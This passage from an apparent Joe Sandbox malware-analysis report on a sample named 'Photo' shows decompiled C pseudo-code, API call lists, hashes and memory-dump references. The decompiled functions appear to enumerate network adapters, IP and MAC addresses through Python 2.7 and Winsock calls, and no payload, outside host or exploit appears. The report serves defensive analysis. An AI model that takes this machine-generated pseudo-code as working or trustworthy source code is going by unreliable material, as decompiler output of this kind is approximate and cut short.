Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CreateDict_Err_FromSnapshotToolhelp32Windows
String ID:
API String ID: 4291761330-0
Opcode ID: b897da1016ea35ec1293a6fbab9534b700423efb3d8153ae71ddb8387f11221b
Instruction ID: 81c96f133cd915f091b12e7997d0feae3e7439114b0f9e1c292c0b9b7ed3e2b4
Opcode Fuzzy Hash: b897da1016ea35ec1293a6fbab9534b700423efb3d8153ae71ddb8387f11221b
Instruction Fuzzy Hash: 0E41B8729402019FD720DEA4EC49AFB73A5AF86734F144628EE2587280E739E916C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8B50 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

PyString_Size.PYTHON27(?), ref: 1E7A8B70
PyString_AsString.PYTHON27(?), ref: 1E7A8B79
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001), ref: 1E7A8BB3

Strings

None is not a valid string in this context, xrefs: 1E7A8C5B
Objects of type '%s' can not be converted to Unicode., xrefs: 1E7A8C93
<NULL!!>, xrefs: 1E7A8C85, 1E7A8C92

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: String_$ByteCharMultiSizeStringWide
String ID: <NULL!!>$None is not a valid string in this context$Objects of type '%s' can not be converted to Unicode.
API String ID: 3620505828-2588796395
Opcode ID: 9695196e308920f2d9711e818f48ee156ec3717358ce3a87fb36060f4d2a2ff3
Instruction ID: 816fdea7d5f86ff04bd9560b81f2b39bc5147ff453ca0d401097f5181598cbf4
Opcode Fuzzy Hash: 9695196e308920f2d9711e818f48ee156ec3717358ce3a87fb36060f4d2a2ff3
Instruction Fuzzy Hash: 7C416D72605315DBF700CB15D898B6AF3E9FBC862AF184B6AFA4687250D771E804CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02765127 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E02765127() {
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr* _t85;
				intOrPtr* _t91;
				intOrPtr _t100;
				intOrPtr _t103;
				intOrPtr _t108;
				void* _t110;
				intOrPtr _t122;
				intOrPtr _t123;
				intOrPtr* _t125;
				intOrPtr _t127;
				void* _t130;
				intOrPtr* _t131;
				intOrPtr* _t132;
				signed int _t141;
				intOrPtr* _t143;
				intOrPtr* _t153;
				intOrPtr _t156;
				intOrPtr _t174;
				intOrPtr _t181;
				intOrPtr* _t182;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t187;
				signed int _t188;
				void* _t189;
				intOrPtr* _t190;
				void* _t193;
				intOrPtr* _t194;
				intOrPtr* _t195;
				void* _t198;
				void* _t199;

				while(1) {
					L23:
					_t181 =  *((intOrPtr*)(_t198 + 0x14));
					while(1) {
						_t82 =  *(_t181 + 0xc);
						_t188 =  *( *(_t181 + 0xc)) & 0x0000ffff;
						if(_t188 != 2) {
							goto L28;
						}
						L25:
						if(E02767140(_t188,  &(_t82[2]), _t198 + 0x438, 0x400) == 0) {
							L50:
							 *0x2769214( *((intOrPtr*)(_t198 + 0x28)));
							_t182 =  *((intOrPtr*)(_t198 + 0x20));
							_t190 =  *((intOrPtr*)(_t198 + 0x24));
							_t199 = _t198 + 4;
							 *_t190 =  *_t190 + 0xffffffff;
							if( *_t190 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 4)) + 0x18))))(_t190);
								_t199 = _t199 + 4;
							}
							if(_t195 != 0) {
								 *_t195 =  *_t195 + 0xffffffff;
								if( *_t195 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
									_t199 = _t199 + 4;
								}
							}
							if(_t182 != 0) {
								 *_t182 =  *_t182 + 0xffffffff;
								if( *_t182 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t182 + 4)) + 0x18))))(_t182);
									_t199 = _t199 + 4;
								}
							}
							if(_t143 != 0) {
								 *_t143 =  *_t143 + 0xffffffff;
								if( *_t143 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 + 4)) + 0x18))))(_t143);
									_t199 = _t199 + 4;
								}
							}
							_t91 =  *((intOrPtr*)(_t199 + 0x18));
							if(_t91 != 0) {
								 *_t91 =  *_t91 + 0xffffffff;
								if( *_t91 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t91 + 4)) + 0x18))))(_t91);
									_t199 = _t199 + 4;
								}
							}
							return 0;
						} else {
							_t141 =  *(_t181 + 0x2c) & 0x000000ff;
							_push(_t198 + 0x30);
							_push(_t141);
							L02768C26();
							if(_t141 != 0) {
								L31:
								_t187 =  *0x27692e0;
								_t123 =  *_t187(_t198 + 0x434);
								_t198 = _t198 + 4;
								 *((intOrPtr*)(_t198 + 0x1c)) = _t123;
								if(_t123 == 0) {
									goto L50;
								} else {
									if( *((intOrPtr*)(_t198 + 0x24)) == 0) {
										 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
										_t125 =  *0x27692c8;
										 *((intOrPtr*)(_t198 + 0x18)) = _t125;
									} else {
										 *((intOrPtr*)(_t198 + 0x1c)) =  *_t187(_t198 + 0x834);
										_t125 =  *0x27692c8;
										_t198 = _t198 + 4;
									}
									 *_t125 =  *_t125 + 1;
									 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
									_t127 =  *0x27692c8;
									_t195 =  *0x27692b4("(OiOOOO)", _t143, _t188,  *((intOrPtr*)(_t198 + 0x1c)),  *((intOrPtr*)(_t198 + 0x18)), _t127, _t127);
									_t198 = _t198 + 0x1c;
									if(_t195 == 0) {
										goto L50;
									} else {
										_t130 =  *0x2769314( *((intOrPtr*)(_t198 + 0x20)), _t195);
										_t198 = _t198 + 8;
										if(_t130 != 0) {
											goto L50;
										} else {
											 *_t195 =  *_t195 + 0xffffffff;
											if( *_t195 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
												_t198 = _t198 + 4;
											}
											_t131 =  *((intOrPtr*)(_t198 + 0x1c));
											 *_t131 =  *_t131 + 0xffffffff;
											if( *_t131 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t131 + 4)) + 0x18))))(_t131);
												_t198 = _t198 + 4;
											}
											_t132 =  *((intOrPtr*)(_t198 + 0x18));
											 *_t132 =  *_t132 + 0xffffffff;
											if( *_t132 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t132 + 4)) + 0x18))))(_t132);
												_t198 = _t198 + 4;
											}
											 *((intOrPtr*)(_t198 + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x14)) + 8));
											L45:
											if( *((intOrPtr*)(_t198 + 0x14)) != 0) {
												goto L23;
											} else {
												while(1) {
													 *_t143 =  *_t143 + 0xffffffff;
													if( *_t143 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 + 4)) + 0x18))))(_t143);
														_t198 = _t198 + 4;
													}
													_t83 =  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x10)) + 8));
													 *((intOrPtr*)(_t198 + 0x10)) = _t83;
													if(_t83 != 0) {
														_t84 =  *((intOrPtr*)(_t198 + 0x10));
														_t181 =  *((intOrPtr*)(_t84 + 0x10));
														_t153 =  *((intOrPtr*)(_t84 + 0x28));
														_t85 = _t153;
														 *((intOrPtr*)(_t198 + 0x14)) = _t181;
														 *((intOrPtr*)(_t198 + 0x24)) = 0;
														_t189 = _t85 + 2;
														goto L3;
													} else {
														break;
													}
													do {
														L3:
														_t174 =  *_t85;
														_t85 = _t85 + 2;
													} while (_t174 != 0);
													_t143 =  *0x276928c(_t153, _t85 - _t189 >> 1);
													_t198 = _t198 + 8;
													if(_t143 == 0) {
														goto L50;
													} else {
														_t100 =  *((intOrPtr*)(_t198 + 0x10));
														if( *((intOrPtr*)(_t100 + 0x34)) == 0) {
															L21:
															if(_t181 == 0) {
																continue;
															} else {
																_t82 =  *(_t181 + 0xc);
																_t188 =  *( *(_t181 + 0xc)) & 0x0000ffff;
																if(_t188 != 2) {
																	goto L28;
																}
															}
														} else {
															_t156 = _t100;
															 *((char*)(_t198 + 0x34)) = 0;
															_t103 =  *((intOrPtr*)(_t156 + 0x34));
															_t193 = 0;
															_t185 = _t198 + 0x34;
															if(_t103 > 0) {
																L9:
																L9:
																if(_t193 != _t103 - 1) {
																	_push( *(_t156 + _t193 + 0x2c) & 0x000000ff);
																	_push("%.2X-");
																} else {
																	_push( *(_t156 + _t193 + 0x2c) & 0x000000ff);
																	_push("%.2X\n");
																}
																 *0x276920c(_t185, 0x400);
																_t103 =  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x20)) + 0x34));
																_t193 = _t193 + 1;
																_t198 = _t198 + 0x10;
																_t185 = _t185 + 3;
																if(_t193 < _t103) {
																	goto L8;
																}
																goto L13;
																L8:
																_t156 =  *((intOrPtr*)(_t198 + 0x10));
																goto L9;
															}
															L13:
															 *((char*)(_t185 - 1)) = 0;
															_t186 =  *0x27692b4;
															_t194 =  *_t186("s", _t198 + 0x34);
															_t198 = _t198 + 8;
															if(_t194 == 0) {
																goto L50;
															} else {
																 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
																 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
																 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
																_t108 =  *0x27692c8;
																_t195 =  *_t186("(OiOOOO)", _t143, 0xffffffff, _t194, _t108, _t108, _t108);
																_t198 = _t198 + 0x1c;
																if(_t195 == 0) {
																	goto L50;
																} else {
																	_t110 =  *0x2769314( *((intOrPtr*)(_t198 + 0x20)), _t195);
																	_t198 = _t198 + 8;
																	if(_t110 != 0) {
																		goto L50;
																	} else {
																		 *_t195 =  *_t195 + 0xffffffff;
																		if( *_t195 == 0) {
																			 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
																			_t198 = _t198 + 4;
																		}
																		 *_t194 =  *_t194 + 0xffffffff;
																		if( *_t194 == 0) {
																			 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t194 + 4)) + 0x18))))(_t194);
																			_t198 = _t198 + 4;
																		}
																		_t181 =  *((intOrPtr*)(_t198 + 0x14));
																		goto L21;
																	}
																}
															}
														}
													}
													goto L66;
												}
												 *0x2769214( *((intOrPtr*)(_t198 + 0x28)));
												return  *((intOrPtr*)(_t198 + 0x24));
											}
										}
									}
								}
							} else {
								 *((intOrPtr*)(_t198 + 0x3c)) =  *((intOrPtr*)(_t198 + 0x30));
								_t122 = E02767140(_t188, _t198 + 0x34, _t198 + 0x838, 0x400);
								 *((intOrPtr*)(_t198 + 0x24)) = _t122;
								L30:
								if(_t122 == 0) {
									goto L50;
								} else {
									goto L31;
								}
							}
						}
						L66:
						L28:
						if(_t188 != 0x17) {
							 *((intOrPtr*)(_t198 + 0x14)) =  *((intOrPtr*)(_t181 + 8));
							goto L45;
						} else {
							_t122 = E02767140(_t188,  &(_t82[4]), _t198 + 0x438, 0x400);
							goto L30;
						}
						goto L66;
					}
				}
			}

0x02765130
0x02765130
0x02765130
0x02765134
0x02765134
0x02765137
0x0276513d
0x00000000
0x00000000
0x0276513f
0x02765158
0x027652f4
0x027652f9
0x027652ff
0x02765303
0x02765307
0x0276530a
0x0276530d
0x02765316
0x02765318
0x02765318
0x0276531d
0x0276531f
0x02765323
0x0276532c
0x0276532e
0x0276532e
0x02765323
0x02765333
0x02765335
0x02765338
0x02765341
0x02765343
0x02765343
0x02765338
0x02765348
0x0276534a
0x0276534d
0x02765356
0x02765358
0x02765358
0x0276534d
0x0276535b
0x02765361
0x02765363
0x02765366
0x0276536f
0x02765371
0x02765371
0x02765366
0x02765380
0x0276515e
0x0276515e
0x02765166
0x02765167
0x02765168
0x0276516f
0x027651bf
0x027651bf
0x027651cd
0x027651cf
0x027651d2
0x027651d8
0x00000000
0x027651de
0x027651e3
0x02765202
0x02765204
0x02765209
0x027651e5
0x027651ef
0x027651f3
0x027651f8
0x027651f8
0x0276520d
0x02765214
0x02765216
0x02765234
0x02765236
0x0276523b
0x00000000
0x02765241
0x02765247
0x0276524d
0x02765252
0x00000000
0x02765258
0x02765258
0x0276525c
0x02765265
0x02765267
0x02765267
0x0276526a
0x0276526e
0x02765271
0x0276527a
0x0276527c
0x0276527c
0x0276527f
0x02765283
0x02765286
0x0276528f
0x02765291
0x02765291
0x0276529b
0x027652a8
0x027652ad
0x00000000
0x027652b3
0x027652b3
0x027652b3
0x027652b6
0x027652bf
0x027652c1
0x027652c1
0x027652c8
0x027652cb
0x027652d1
0x02764fe0
0x02764fe4
0x02764fe7
0x02764fea
0x02764fec
0x02764ff0
0x02764ff8
0x02764ffb
0x00000000
0x00000000
0x00000000
0x02765000
0x02765000
0x02765000
0x02765003
0x02765006
0x02765017
0x02765019
0x0276501e
0x00000000
0x02765024
0x02765024
0x0276502c
0x0276511d
0x0276511f
0x00000000
0x02765125
0x02765134
0x02765137
0x0276513d
0x00000000
0x00000000
0x0276513d
0x02765032
0x02765032
0x02765034
0x02765039
0x0276503c
0x0276503e
0x02765044
0x00000000
0x0276504c
0x0276504f
0x02765063
0x02765064
0x02765051
0x02765056
0x02765057
0x02765057
0x0276506f
0x02765079
0x0276507c
0x0276507d
0x02765080
0x02765085
0x00000000
0x00000000
0x00000000
0x02765048
0x02765048
0x00000000
0x02765048
0x02765087
0x0276508c
0x02765090
0x0276509d
0x0276509f
0x027650a4
0x00000000
0x027650aa
0x027650af
0x027650b6
0x027650bd
0x027650bf
0x027650d2
0x027650d4
0x027650d9
0x00000000
0x027650df
0x027650e5
0x027650eb
0x027650f0
0x00000000
0x027650f6
0x027650f6
0x027650fa
0x02765103
0x02765105
0x02765105
0x02765108
0x0276510b
0x02765114
0x02765116
0x02765116
0x02765119
0x00000000
0x02765119
0x027650f0
0x027650d9
0x027650a4
0x0276502c
0x00000000
0x0276501e
0x027652dc
0x027652f3
0x027652f3
0x027652ad
0x02765252
0x0276523b
0x02765171
0x02765188
0x0276518c
0x02765191
0x027651b7
0x027651b9
0x00000000
0x00000000
0x00000000
0x00000000
0x027651b9
0x0276516f
0x00000000
0x02765197
0x0276519a
0x027652a4
0x00000000
0x027651a0
0x027651b2
0x00000000
0x027651b2
0x00000000
0x0276519a
0x02765134

APIs

ConvertLengthToIpv4Mask.IPHLPAPI(?,?), ref: 02765168
PyString_FromString.PYTHON27(?,?,?,?,00000400), ref: 027651CD
PyString_FromString.PYTHON27(?), ref: 027651ED
Py_BuildValue.PYTHON27((OiOOOO),00000000,?,?,?,6C6ACB14,6C6ACB14), ref: 0276522E
PyList_Append.PYTHON27(?,00000000), ref: 02765247
6C423B4E.MSVCR90(?), ref: 027652DC

Part of subcall function 02767140: WSAAddressToStringA.WS2_32(?,?,00000000,?,?), ref: 027671BF
Part of subcall function 02767140: WSAGetLastError.WS2_32 ref: 027671C9
Part of subcall function 02767140: PyErr_SetExcFromWindowsErr.PYTHON27(?,00000000), ref: 027671D9

6C423B4E.MSVCR90(?), ref: 027652F9

Strings

N;Bl, xrefs: 027652DC
(OiOOOO), xrefs: 02765229

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: FromString$C423String_$AddressAppendBuildConvertErr_ErrorIpv4LastLengthList_MaskValueWindows
String ID: (OiOOOO)$N;Bl
API String ID: 404203440-1650451389
Opcode ID: 08affec699c64482ba3bb9c3197e5c28c64eda67b35a8b7f5c569945560d18f4
Instruction ID: 5be4a36c884d1d665247b12502774f36009933b6e89b75f4f2ecd8143589faeb
Opcode Fuzzy Hash: 08affec699c64482ba3bb9c3197e5c28c64eda67b35a8b7f5c569945560d18f4
Instruction Fuzzy Hash: 734170B1504301DFDB14DF54D9489BB73E8EF84328F448A18FE958B290D734E906DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02765129 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E02765129() {
				intOrPtr _t82;
				intOrPtr* _t83;
				intOrPtr* _t89;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr* _t110;
				intOrPtr _t112;
				void* _t115;
				intOrPtr* _t116;
				intOrPtr* _t117;
				signed int _t126;
				intOrPtr _t128;
				intOrPtr _t133;
				void* _t135;
				intOrPtr* _t143;
				intOrPtr* _t146;
				intOrPtr _t160;
				intOrPtr _t164;
				intOrPtr _t181;
				intOrPtr* _t182;
				intOrPtr* _t185;
				void* _t186;
				intOrPtr* _t187;
				void* _t188;
				intOrPtr* _t189;
				signed int _t192;
				void* _t193;
				intOrPtr* _t194;
				intOrPtr* _t195;
				void* _t198;
				void* _t199;
				void* _t200;

				while(1) {
					L23:
					_t181 =  *((intOrPtr*)(_t199 + 0x14));
					while(1) {
						_t105 =  *(_t181 + 0xc);
						_t192 =  *( *(_t181 + 0xc)) & 0x0000ffff;
						if(_t192 != 2) {
							goto L28;
						}
						L25:
						if(E02767140(_t192,  &(_t105[2]), _t199 + 0x438, 0x400) == 0) {
							L50:
							 *0x2769214( *((intOrPtr*)(_t199 + 0x28)));
							_t182 =  *((intOrPtr*)(_t199 + 0x20));
							_t189 =  *((intOrPtr*)(_t199 + 0x24));
							_t200 = _t199 + 4;
							 *_t189 =  *_t189 + 0xffffffff;
							if( *_t189 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t189 + 4)) + 0x18))))(_t189);
								_t200 = _t200 + 4;
							}
							if(_t195 != 0) {
								 *_t195 =  *_t195 + 0xffffffff;
								if( *_t195 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
									_t200 = _t200 + 4;
								}
							}
							if(_t182 != 0) {
								 *_t182 =  *_t182 + 0xffffffff;
								if( *_t182 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t182 + 4)) + 0x18))))(_t182);
									_t200 = _t200 + 4;
								}
							}
							if(_t143 != 0) {
								 *_t143 =  *_t143 + 0xffffffff;
								if( *_t143 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 + 4)) + 0x18))))(_t143);
									_t200 = _t200 + 4;
								}
							}
							_t89 =  *((intOrPtr*)(_t200 + 0x18));
							if(_t89 != 0) {
								 *_t89 =  *_t89 + 0xffffffff;
								if( *_t89 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 4)) + 0x18))))(_t89);
									_t200 = _t200 + 4;
								}
							}
							return 0;
						} else {
							_t126 =  *(_t181 + 0x2c) & 0x000000ff;
							_push(_t199 + 0x30);
							_push(_t126);
							L02768C26();
							if(_t126 != 0) {
								L31:
								_t185 =  *0x27692e0;
								_t108 =  *_t185(_t199 + 0x434);
								_t199 = _t199 + 4;
								 *((intOrPtr*)(_t199 + 0x1c)) = _t108;
								if(_t108 == 0) {
									goto L50;
								} else {
									if( *((intOrPtr*)(_t199 + 0x24)) == 0) {
										 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
										_t110 =  *0x27692c8;
										 *((intOrPtr*)(_t199 + 0x18)) = _t110;
									} else {
										 *((intOrPtr*)(_t199 + 0x1c)) =  *_t185(_t199 + 0x834);
										_t110 =  *0x27692c8;
										_t199 = _t199 + 4;
									}
									 *_t110 =  *_t110 + 1;
									 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
									_t112 =  *0x27692c8;
									_t195 =  *0x27692b4("(OiOOOO)", _t143, _t192,  *((intOrPtr*)(_t199 + 0x1c)),  *((intOrPtr*)(_t199 + 0x18)), _t112, _t112);
									_t199 = _t199 + 0x1c;
									if(_t195 == 0) {
										goto L50;
									} else {
										_t115 =  *0x2769314( *((intOrPtr*)(_t199 + 0x20)), _t195);
										_t199 = _t199 + 8;
										if(_t115 != 0) {
											goto L50;
										} else {
											 *_t195 =  *_t195 + 0xffffffff;
											if( *_t195 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
												_t199 = _t199 + 4;
											}
											_t116 =  *((intOrPtr*)(_t199 + 0x1c));
											 *_t116 =  *_t116 + 0xffffffff;
											if( *_t116 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t116 + 4)) + 0x18))))(_t116);
												_t199 = _t199 + 4;
											}
											_t117 =  *((intOrPtr*)(_t199 + 0x18));
											 *_t117 =  *_t117 + 0xffffffff;
											if( *_t117 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t117 + 4)) + 0x18))))(_t117);
												_t199 = _t199 + 4;
											}
											 *((intOrPtr*)(_t199 + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x14)) + 8));
											L45:
											if( *((intOrPtr*)(_t199 + 0x14)) != 0) {
												goto L23;
											} else {
												while(1) {
													 *_t143 =  *_t143 + 0xffffffff;
													if( *_t143 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 + 4)) + 0x18))))(_t143);
														_t199 = _t199 + 4;
													}
													_t99 =  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x10)) + 8));
													 *((intOrPtr*)(_t199 + 0x10)) = _t99;
													if(_t99 != 0) {
														_t82 =  *((intOrPtr*)(_t198 + 0x10));
														_t181 =  *((intOrPtr*)(_t82 + 0x10));
														_t146 =  *((intOrPtr*)(_t82 + 0x28));
														_t83 = _t146;
														 *((intOrPtr*)(_t198 + 0x14)) = _t181;
														 *((intOrPtr*)(_t198 + 0x24)) = 0;
														_t188 = _t83 + 2;
														goto L3;
													} else {
														break;
													}
													do {
														L3:
														_t164 =  *_t83;
														_t83 = _t83 + 2;
													} while (_t164 != 0);
													_t143 =  *0x276928c(_t146, _t83 - _t188 >> 1);
													_t199 = _t198 + 8;
													if(_t143 == 0) {
														goto L50;
													} else {
														_t98 =  *((intOrPtr*)(_t199 + 0x10));
														if( *((intOrPtr*)(_t98 + 0x34)) == 0) {
															L21:
															if(_t181 == 0) {
																continue;
															} else {
																_t105 =  *(_t181 + 0xc);
																_t192 =  *( *(_t181 + 0xc)) & 0x0000ffff;
																if(_t192 != 2) {
																	goto L28;
																}
															}
														} else {
															_t160 = _t98;
															 *((char*)(_t199 + 0x34)) = 0;
															_t128 =  *((intOrPtr*)(_t160 + 0x34));
															_t193 = 0;
															_t186 = _t199 + 0x34;
															if(_t128 > 0) {
																L9:
																L9:
																if(_t193 != _t128 - 1) {
																	_push( *(_t160 + _t193 + 0x2c) & 0x000000ff);
																	_push("%.2X-");
																} else {
																	_push( *(_t160 + _t193 + 0x2c) & 0x000000ff);
																	_push("%.2X\n");
																}
																 *0x276920c(_t186, 0x400);
																_t128 =  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x20)) + 0x34));
																_t193 = _t193 + 1;
																_t199 = _t199 + 0x10;
																_t186 = _t186 + 3;
																if(_t193 < _t128) {
																	goto L8;
																}
																goto L13;
																L8:
																_t160 =  *((intOrPtr*)(_t199 + 0x10));
																goto L9;
															}
															L13:
															 *((char*)(_t186 - 1)) = 0;
															_t187 =  *0x27692b4;
															_t194 =  *_t187("s", _t199 + 0x34);
															_t199 = _t199 + 8;
															if(_t194 == 0) {
																goto L50;
															} else {
																 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
																 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
																 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
																_t133 =  *0x27692c8;
																_t195 =  *_t187("(OiOOOO)", _t143, 0xffffffff, _t194, _t133, _t133, _t133);
																_t199 = _t199 + 0x1c;
																if(_t195 == 0) {
																	goto L50;
																} else {
																	_t135 =  *0x2769314( *((intOrPtr*)(_t199 + 0x20)), _t195);
																	_t199 = _t199 + 8;
																	if(_t135 != 0) {
																		goto L50;
																	} else {
																		 *_t195 =  *_t195 + 0xffffffff;
																		if( *_t195 == 0) {
																			 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
																			_t199 = _t199 + 4;
																		}
																		 *_t194 =  *_t194 + 0xffffffff;
																		if( *_t194 == 0) {
																			 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t194 + 4)) + 0x18))))(_t194);
																			_t199 = _t199 + 4;
																		}
																		_t181 =  *((intOrPtr*)(_t199 + 0x14));
																		goto L21;
																	}
																}
															}
														}
													}
													goto L66;
												}
												 *0x2769214( *((intOrPtr*)(_t199 + 0x28)));
												return  *((intOrPtr*)(_t199 + 0x24));
											}
										}
									}
								}
							} else {
								 *((intOrPtr*)(_t199 + 0x3c)) =  *((intOrPtr*)(_t199 + 0x30));
								_t107 = E02767140(_t192, _t199 + 0x34, _t199 + 0x838, 0x400);
								 *((intOrPtr*)(_t199 + 0x24)) = _t107;
								L30:
								if(_t107 == 0) {
									goto L50;
								} else {
									goto L31;
								}
							}
						}
						L66:
						L28:
						if(_t192 != 0x17) {
							 *((intOrPtr*)(_t199 + 0x14)) =  *((intOrPtr*)(_t181 + 8));
							goto L45;
						} else {
							_t107 = E02767140(_t192,  &(_t105[4]), _t199 + 0x438, 0x400);
							goto L30;
						}
						goto L66;
					}
				}
			}

APIs

ConvertLengthToIpv4Mask.IPHLPAPI(?,?), ref: 02765168
PyString_FromString.PYTHON27(?,?,?,?,00000400), ref: 027651CD
PyString_FromString.PYTHON27(?), ref: 027651ED
Py_BuildValue.PYTHON27((OiOOOO),00000000,?,?,?,6C6ACB14,6C6ACB14), ref: 0276522E
PyList_Append.PYTHON27(?,00000000), ref: 02765247
6C423B4E.MSVCR90(?), ref: 027652DC

Part of subcall function 02767140: WSAAddressToStringA.WS2_32(?,?,00000000,?,?), ref: 027671BF
Part of subcall function 02767140: WSAGetLastError.WS2_32 ref: 027671C9
Part of subcall function 02767140: PyErr_SetExcFromWindowsErr.PYTHON27(?,00000000), ref: 027671D9

6C423B4E.MSVCR90(?), ref: 027652F9

Strings

N;Bl, xrefs: 027652DC
(OiOOOO), xrefs: 02765229

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: FromString$C423String_$AddressAppendBuildConvertErr_ErrorIpv4LastLengthList_MaskValueWindows
String ID: (OiOOOO)$N;Bl
API String ID: 404203440-1650451389
Opcode ID: 77dbc78170d5fd6f4fe3b8b94d4561abd32401e1a10ec14d92f9baa04082d13f
Instruction ID: b8cb774d6a519acd4d390ead0a82786fda567f7e4af632fa5d1f180a3a29364a
Opcode Fuzzy Hash: 77dbc78170d5fd6f4fe3b8b94d4561abd32401e1a10ec14d92f9baa04082d13f
Instruction Fuzzy Hash: 5E4171B1504341DFDB14DF54D948ABB73E8EF84328F448A18FE958B250D734E916DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02763D36 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E02763D36() {
				char* _t40;
